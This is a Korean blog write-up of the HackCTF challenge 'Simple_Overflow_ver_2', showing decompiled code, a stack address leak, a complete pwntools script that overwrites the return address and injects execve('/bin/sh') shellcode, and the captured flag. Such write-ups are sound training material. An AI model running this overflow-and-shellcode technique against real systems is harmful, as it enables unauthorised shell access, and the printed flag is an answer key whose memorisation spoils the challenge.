-
Simple_Overflow_ver_2CTF/HackCTF 2021. 1. 21. 03:13
Disassembly 디스어셈블리
undefined4 main(void) { int32_t iVar1; uint32_t uVar2; uint32_t uVar3; int32_t *piVar4; int32_t var_89h; int32_t var_bp_8h; piVar4 = (int32_t *)0x0; setvbuf(_reloc.stdout, 0, 2, 0); var_89h._0_1_ = 'y'; do { printf("Data : ", piVar4); uVar2 = (int32_t)&var_89h + 1; iVar1 = __isoc99_scanf(" %[^\n]s", uVar2); if (iVar1 != 0) { var_bp_8h = 0; while( true ) { iVar1 = var_bp_8h; uVar2 = strlen((int32_t)&var_89h + 1, uVar2); if (uVar2 <= (uint32_t)iVar1) break; if ((var_bp_8h & 0xfU) == 0) { printf("%p: ", (int32_t)&var_89h + var_bp_8h + 1); } uVar2 = (uint32_t)*(uint8_t *)((int32_t)&var_89h + var_bp_8h + 1); printf(0x8048715); uVar3 = (uint32_t)(var_bp_8h >> 0x1f) >> 0x1c; if ((var_bp_8h + uVar3 & 0xf) - uVar3 == 0xf) { putchar(10); } var_bp_8h = var_bp_8h + 1; } } printf("\nAgain (y/n): "); piVar4 = &var_89h; iVar1 = __isoc99_scanf(0x8048715); } while ((iVar1 != 0) && (((char)var_89h == 'y' || ((char)var_89h == 'Y')))); return 0; }
do while문은 uVar2에 문자열을 입력받은 후 문자열의 주소와 내용을 16바이트 단위로 출력하는 코드이다.
Stack address leak
payload = b"A"*0x8 p.sendlineafter("Data : ", payload) buf = int(p.recvline()[0:10], 16)
아무 입력이나 넣으면 uVar2의 주소가 출력되므로 스택 주소를 계산하는 데 사용할 수 있다.
RET Overwrite
s에서 스택 버퍼 오버플로우가 일어나고, 스택 주소를 구했다. 따라서 스택에 쉘코드 삽입을 통한 RET Overwrite을 통해 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./Simple_overflow_ver_2" server = "ctf.j0n9hyun.xyz" port = 3006 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) shellcode = asm(shellcraft.execve("/bin/sh",0,0)) payload = b"A"*0x8 p.sendlineafter("Data : ", payload) buf = int(p.recvline()[0:10], 16) print(hex(buf)) p.sendline("y") payload = b"A"*0x8c payload += p32(buf+0x90) payload += shellcode p.sendlineafter("Data : ", payload) p.sendlineafter("\x80", "n") p.interactive()
Flag
HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}
'CTF > HackCTF' 카테고리의 다른 글
BOF_PIE (0) 2021.01.21 Offset (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21 x64 Buffer Overflow (0) 2021.01.21 내 버퍼가 흘러넘친다!!! (0) 2021.01.21